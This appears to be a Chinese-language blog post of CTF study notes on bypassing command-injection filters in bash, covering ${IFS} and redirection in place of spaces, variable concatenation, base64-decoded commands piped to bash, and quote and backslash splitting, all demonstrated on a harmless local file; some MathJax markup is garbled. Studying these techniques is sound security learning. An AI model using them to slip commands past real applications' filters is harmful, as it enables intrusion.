谈谈绕过的方法

在这之前,我们先来总结一下常用的命令注入绕过方法,还是挺有意思的,会对 Linux 指令更加熟练(下面有些 Linux 命令只在 bash 下有效,在 zsh 里面可能会不行)

拼接型

命令 作用
& 表示任务在后台执行
&& 表示前一条命令执行成功时才执行后面一条命令
| 表示上一命令的输出作为下一命令的参数
|| 表示上一条命令执行失败后才执行下一条命令
; 不管前面的命令成不成功都执行后面的命令

奇淫技巧

在网上看博客的时候就发现了好多命令注入绕过的方法,真是刷新了我的思维,记录一下

绕过空格

Linux 下会有很多可以绕过空格的方法,因为题目可能会限制我们不能输入空格,但是我们可以通过一些特殊的字符绕过,现在假设我们的环境是 Linux ,当前环境下有一个名叫 file1 的文件,我们现在要访问里面的内容,一般就是使用 cat 命令了

$ cat file1                                                                 
hello                                                                                     
world

${IFS}

要是不让用空格呢?在 Linux 下,有很多方法可以绕过空格, ${IFS} <span id="MathJax-Span-2" class="mrow"><span id="MathJax-Span-3" class="mi">I<span id="MathJax-Span-4" class="mi">F<span id="MathJax-Span-5" class="mi">SIFS9 <span id="MathJax-Span-7" class="mrow"><span id="MathJax-Span-8" class="texatom"><span id="MathJax-Span-9" class="mrow"><span id="MathJax-Span-10" class="mi">I<span id="MathJax-Span-11" class="mi">F<span id="MathJax-Span-12" class="mi">SIFS9 都表示空格,可以绕过空格,这里 $IFS 表示的是 Linux 下的分隔符

kevin@laptop:~$ cat$IFS$9file1                                                           
hello                                                                                    
world                                                                                     
kevin@laptop:~$ cat${IFS}$9file1                                                         
hello                                                                                     
world                                                                                     
kevin@laptop:~$ cat${IFS}file1                                                           
hello                                                                                     
world 

重定向

或者也可以直接用重定向 <> 或者 < 来取代空格

kevin@laptop:~$ cat<>file1                                                         
hello                                                                                     
world                                                                                     
kevin@laptop:~$ cat<file1                                                           
hello                                                                                     
world 

View Code

绕过黑名单

依然是上面的例子,如果现在不让我们使用 cat 命令了呢?怎么才能获取到文件里面的内容呢(可能有人会说用 strings 啊,当然可以,但如果只能用 cat 呢)

命令拼接绕过

kevin@laptop:~$ a=c;b=a;c=t;$a$b$c file1                                                 
hello                                                                                     
world  

利用系统已存在资源绕过

从已有的文件或者环境变量中获得相应的字符,不过这个得题目的系统上存在这个环境变量或文件,做题的时候应该会有些提示

base64 编码绕过

这个真的是骚到我了,并且知道了原来 Linux 系统自带 base64 编码解码命令,先来看下是怎么用的吧

[root@localhost ~]# echo cat file1|base64    #加密
Y2F0IGZpbGUxCg== 
[root@localhost ~]# echo Y2F0IGZpbGUxCg==  |base64 -d    #解密
cat file1

因为 ` 会将里面的东西变成 Linux 命令执行,那我们就可以输入下面的命令来进行绕过查看文件内容了

kevin@laptop:~$ `echo Y2F0IGZpbGUxCg==  |base64 -d`                                       
hello                                                   
world  

然而如果题目将 ` 也给 ban 了的话,我们也可以将上面的输出重定向到 bash 来执行

kevin@laptop:~$ echo Y2F0IGZpbGUxCg==  |base64 -d | bash                                 
hello                                                   
world  

知道这个之后,不仅可以用 base64 进行绕过,还可以用 base32 进行绕过,系统自带 base64 和 base32 命令

引号(单、双)绕过

想不到吧,引号也能绕过,我是服气的!好像只要有配对闭合的引号就能够相互抵消掉

kevin@laptop:~$ c'a't fi""le1                                                             
hello                                                                                     
world
kevin@laptop:~$ c''"at" file1                                                             
hello
world  

反斜线绕过

输入命令的时候,如果命令太长了的话可以用 \ 来换行输入,这样也可以绕过命令

kevin@laptop:~$ c\at file1                                                               
hello                                                                                     
world                                                                                     
kevin@laptop:~$ c\at fi\le\1                                                             
hello                                                                                     
world 

Linux 中已经存在的一些字符

  • ${PS2} 对应字符 ‘>’
  • ${PS4} 对应字符 ‘+’
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串

不过在使用 ${PS2} 打算绕过重定向的时候报错了,目前暂时还不知道原因

kevin@laptop:~$ echo hello ${PS2}file2                                                   
hello > file2                                                                             
kevin@laptop:~$ echo hello >file2                                                         
kevin@laptop:~$ `echo hello ${PS2}file2`                                                 
Command 'hello' not found, but can be installed with:                                     
sudo apt install hello                                                                   
sudo apt install hello-traditional